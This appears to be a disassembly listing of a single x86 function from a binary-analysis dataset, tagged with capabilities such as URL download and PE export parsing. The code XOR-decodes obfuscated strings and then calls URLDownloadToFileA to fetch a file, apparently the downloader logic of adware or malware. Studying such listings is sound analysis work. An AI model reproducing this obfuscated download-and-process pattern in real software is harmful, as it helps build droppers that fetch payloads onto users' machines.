Function at 0x1000c7d0
Capabilities:
Download url
Get file size
Receive data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1004e628
mov eax, dword fs:[0]
push eax
sub esp, 0x548
mov eax, dword [0x1005d500]
xor eax, esp
mov dword [esp + 0x540], eax
push ebx
push esi
push edi
mov eax, dword [0x1005d500]
xor eax, esp
push eax
lea eax, [esp + 0x558]
mov dword fs:[0], eax
mov dword [esp + 0x50], vtable.SysService.0
xor ebx, ebx
mov dword [esp + 0x560], ebx
mov dword [esp + 0x54], vtable.FileService.0
mov dword [esp + 0x58], vtable.AdInfoService.0
lea edi, [esp + 0x94]
mov byte [esp + 0x560], 2
call fcn.10020930
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x3c], vtable.CodeService.0
push 0x3ff
lea eax, [esp + 0x151]
push ebx
mov byte [esp + 0x568], 5
push eax
mov byte [esp + 0x158], bl
call fcn.10037e50
add esp, 0xc
push 0x21
lea ecx, [esp + 0x150]
push 0x10053930
push ecx
call fcn.10037f60
add esp, 0xc
xor eax, eax
jmp 0x1000c8a0
mov edx, eax
and edx, 0x8000000f
jns 0x1000c8af
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539b0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x21
jl 0x1000c8a0
mov esi, 0xf
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000c8e6
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 6
call fcn.1000b2d0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000c932
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032db0
add esp, 4
push 0x1c
lea ecx, [esp + 0x150]
push 0x10053954
push ecx
call fcn.10037f60
add esp, 0xc
xor eax, eax
jmp 0x1000c950
mov edx, eax
and edx, 0x8000000f
jns 0x1000c95f
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539b0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1c
jl 0x1000c950
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000c991
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 7
call fcn.1000b2d0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000c9dd
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032db0
add esp, 4
push 0x1f
lea ecx, [esp + 0x150]
push 0x10053970
push ecx
call fcn.10037f60
add esp, 0xc
xor eax, eax
mov edx, eax
and edx, 0x8000000f
jns 0x1000ca05
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539b0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1f
jl 0x1000c9f6
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000ca37
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 8
call fcn.1000b2d0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000ca83
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032db0
add esp, 4
push 0x1f
lea ecx, [esp + 0x150]
push 0x10053990
push ecx
call fcn.10037f60
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov edx, eax
and edx, 0x8000000f
jns 0x1000caaf
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539b0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1f
jl 0x1000caa0
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000cae1
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 9
call fcn.1000b2d0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000cb2d
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032db0
add esp, 4
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x7c]
push edx
call fcn.10018df0
add esp, 8
lea ecx, [esp + 0x130]
mov byte [esp + 0x560], 0xa
call fcn.10030080
mov esi, eax
push 0x10053a5c
lea eax, [esp + 0x7c]
push eax
lea ecx, [esp + 0xb8]
push ecx
mov byte [esp + 0x56c], 0xb
call fcn.10002410
add esp, 0xc
mov ecx, eax
lea edx, [esp + 0x5c]
push edx
mov eax, esi
mov byte [esp + 0x564], 0xc
call fcn.1000d590
add esp, 4
mov edi, eax
lea esi, [esp + 0x78]
mov byte [esp + 0x560], 0xd
call fcn.100029b0
cmp dword [esp + 0x70], 0x10
jb 0x1000cbb7
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032db0
add esp, 4
mov edi, 0x10
mov esi, 0xf
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
cmp dword [esp + 0xc4], edi
jb 0x1000cbe6
mov ecx, dword [esp + 0xb0]
push ecx
call fcn.10032db0
add esp, 4
mov byte [esp + 0x560], 0xa
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
cmp dword [esp + 0x144], edi
jb 0x1000cc1c
mov edx, dword [esp + 0x130]
push edx
call fcn.10032db0
add esp, 4
mov ecx, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x1000cc33
lea ecx, [esp + 0x94]
mov eax, dword [esp + 0x78]
cmp dword [esp + 0x8c], edi
jae 0x1000cc44
lea eax, [esp + 0x78]
push ebx
push ebx
push ecx
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x1000cce0
cmp dword [esp + 0x8c], edi
jb 0x1000cc6d
mov eax, dword [esp + 0x78]
push eax
call fcn.10032db0
add esp, 4
mov dword [esp + 0x8c], esi
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cca0
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008ed0
push esi
call fcn.10032db0
add esp, 4
mov edi, 0x10
cmp dword [esp + 0xa8], edi
jb 0x1000ccb9
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10032db0
add esp, 4
or eax, 0xffffffff
mov ecx, dword [esp + 0x558]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x540]
xor ecx, esp
call fcn.10034d4a
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x1000ccf7
lea eax, [esp + 0x94]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x40]
mov esi, eax
push edx
push esi
mov dword [esp + 0x48], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test al, 7
je 0x1000cd78
cmp dword [esp + 0x8c], edi
jb 0x1000cd39
mov eax, dword [esp + 0x78]
push eax
call fcn.10032db0
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cd6b
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008ed0
push esi
call fcn.10032db0
add esp, 4
cmp dword [esp + 0xa8], 0x10
jmp 0x1000cca7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x74
mov dword [esp + 0x38], ebx
call fcn.10032d80
add esp, 4
cmp eax, ebx
je 0x1000d0ce
mov dword [esp + 0x30], eax
mov dword [eax], eax
mov eax, dword [esp + 0x30]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x30]
mov dword [eax + 8], eax
mov edx, dword [esp + 0x30]
mov byte [edx + 0x70], 1
mov eax, dword [esp + 0x30]
mov byte [eax + 0x71], 1
mov byte [esp + 0x560], 0xe
mov esi, dword [0x10061c84]
mov ecx, dword [0x10061c80]
mov edx, esi
sub edx, ecx
mov eax, 0x2aaaaaab
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
xor edi, edi
add eax, edx
je 0x1000cf2c
mov dword [esp + 0x18], ebx
add ecx, dword [esp + 0x18]
lea eax, [esp + 0xcc]
push eax
call fcn.10008b40
lea ebx, [esp + 0xcc]
lea ecx, [esp + 0x2c]
mov byte [esp + 0x560], 0xf
call fcn.1000b3a0
mov ecx, dword [esp + 0xcc]
push 0xffffffffffffffff
mov esi, eax
xor ebx, ebx
push ebx
lea edx, [esp + 0xd8]
mov dword [esi], ecx
push edx
lea ecx, [esi + 4]
call fcn.10002da0
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0xf4]
push eax
lea ecx, [esi + 0x20]
call fcn.10002da0
mov ecx, dword [esp + 0x108]
push 0xffffffffffffffff
mov dword [esi + 0x3c], ecx
mov edx, dword [esp + 0x110]
push ebx
lea eax, [esp + 0x118]
push eax
lea ecx, [esi + 0x44]
mov dword [esi + 0x40], edx
call fcn.10002da0
mov esi, 0x10
mov byte [esp + 0x560], 0xe
cmp dword [esp + 0x124], esi
jb 0x1000ce97
mov ecx, dword [esp + 0x110]
push ecx
call fcn.10032db0
add esp, 4
mov dword [esp + 0x124], 0xf
mov dword [esp + 0x120], ebx
mov byte [esp + 0x110], bl
cmp dword [esp + 0x100], esi
jb 0x1000cec9
mov edx, dword [esp + 0xec]
push edx
call fcn.10032db0
add esp, 4
mov dword [esp + 0x100], 0xf
mov dword [esp + 0xfc], ebx
mov byte [esp + 0xec], bl
cmp dword [esp + 0xe4], esi
jb 0x1000cefb
mov eax, dword [esp + 0xd0]
push eax
call fcn.10032db0
add esp, 4
mov esi, dword [0x10061c84]
mov ecx, dword [0x10061c80]
add dword [esp + 0x18], 0x60
mov edx, esi
sub edx, ecx
mov eax, 0x2aaaaaab
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc edi
add eax, edx
cmp edi, eax
jb 0x1000cdee
xor ebx, ebx
cmp ecx, esi
je 0x1000cf61
mov edx, dword [esp + 0x3c]
push edx
mov ebx, esi
mov eax, esi
call fcn.100092f0
mov ecx, dword [0x10061c84]
mov esi, eax
mov eax, dword [esp + 0x40]
add esp, 4
push eax
push ecx
mov eax, esi
call fcn.10009350
add esp, 8
mov dword [0x10061c84], esi
xor ebx, ebx
mov eax, dword [0x100a1db4]
mov ecx, dword [0x100a1dd0]
lea edx, [esp + 0x94]
push edx
push eax
push ecx
lea edx, [esp + 0x38]
mov ecx, 0x10061c80
call fcn.10009a90
cmp dword [esp + 0xa8], 0x10
mov byte [esp + 0x13], al
mov eax, dword [esp + 0x94]
jae 0x1000cfa0
lea eax, [esp + 0x94]
push eax
call fcn.10036f53
add esp, 4
cmp byte [esp + 0x13], bl
jne 0x1000d037
mov byte [esp + 0x560], 0x10
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x34]
call fcn.1000d170
mov edx, dword [esp + 0x30]
push edx
call fcn.10032db0
add esp, 4
cmp dword [esp + 0x8c], 0x10
jb 0x1000cff4
mov eax, dword [esp + 0x78]
push eax
call fcn.10032db0
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cd6b
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008ed0
push esi
call fcn.10032db0
add esp, 4
cmp dword [esp + 0xa8], 0x10
jmp 0x1000cca7
mov byte [esp + 0x560], 0x11
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x34]
call fcn.1000d170
mov edx, dword [esp + 0x30]
push edx
call fcn.10032db0
add esp, 4
cmp dword [esp + 0x8c], 0x10
jb 0x1000d078
mov eax, dword [esp + 0x78]
push eax
call fcn.10032db0
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000d0aa
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008ed0
push esi
call fcn.10032db0
add esp, 4
cmp dword [esp + 0xa8], 0x10
jb 0x1000d0c4
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10032db0
add esp, 4
mov eax, 1
jmp 0x1000ccbc
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x48]
mov dword [esp + 0x18], ebx
call fcn.10034dcf
push 0x10057518
lea eax, [esp + 0x48]
push eax
mov dword [esp + 0x4c], vtable.std::bad_alloc.0
call fcn.100377d7
int3